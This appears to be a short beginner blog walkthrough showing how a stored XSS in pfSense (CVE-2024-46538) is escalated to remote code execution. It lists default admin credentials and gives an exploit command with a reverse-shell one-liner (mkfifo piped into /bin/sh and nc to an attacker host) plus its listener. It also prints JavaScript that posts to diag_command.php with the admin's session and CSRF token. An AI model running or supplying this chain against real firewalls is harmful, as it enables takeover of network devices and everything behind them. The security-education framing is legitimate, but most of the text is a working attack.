This blog walks through a real-world example of how a stored Cross-Site Scripting (XSS) vulnerability in pfSense (CVE-2024-46538) can be turned into a Remote Code Execution (RCE) exploit. All steps are based on publicly available resources and are beginner-friendly.
pfSense is an open-source firewall and router software used to protect networks. It's like a gatekeeper for your internet connection, deciding what traffic to let in or block. Many small businesses and home labs use it for network control and security.
Once pfSense is up and running, access the web GUI in your browser. Use the default credentials:
Username: admin
Password: pfsense
Now clone the GitHub repository and run the exploit file provided. It will inject a malicious XSS payload into pfSense.
After the script is executed, refresh the web interface. If successful, you’ll see the payload triggered on the browser.
The XSS alone is dangerous, but here comes the twist—now we use the exploit to trigger a command that gives us full shell access. Think of it as hijacking the pfSense system remotely.
python3 CVE-2024-46538.py -i admin -p pfsense -u http://192.168.1.223 -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.122 1234 >/tmp/f"
nc -nlvp 1234
When the admin logs into the pfSense panel, the XSS script silently executes a command to give control to the attacker. The browser unknowingly sends the request with the admin's session, allowing it to run with full privileges.
Here's the exact JS exploit used to send a POST request to the command execution page:
var formData = new FormData();
formData.append("__csrf_magic", csrfMagicToken);
formData.append("txtCommand", "id");
formData.append("txtRecallBuffer", "id");
formData.append("submit", "EXEC");
formData.append("dlPath", "");
formData.append("ulfile", new Blob(), "");
formData.append("txtPHPCommand", "");
fetch("https://192.168.102.61/diag_command.php", {
method: "POST",
body: formData
}).then(response => response.text()).then(data => {
const parser = new DOMParser();
const doc = parser.parseFromString(data, "text/html");
const contentDiv = doc.querySelector("div.content");
if (contentDiv) {
alert(contentDiv.textContent);
} else {
alert("No content found");
}
});
Security testing like this helps us identify and patch critical risks before attackers can abuse them. Stay curious, keep learning, and practice ethical hacking responsibly!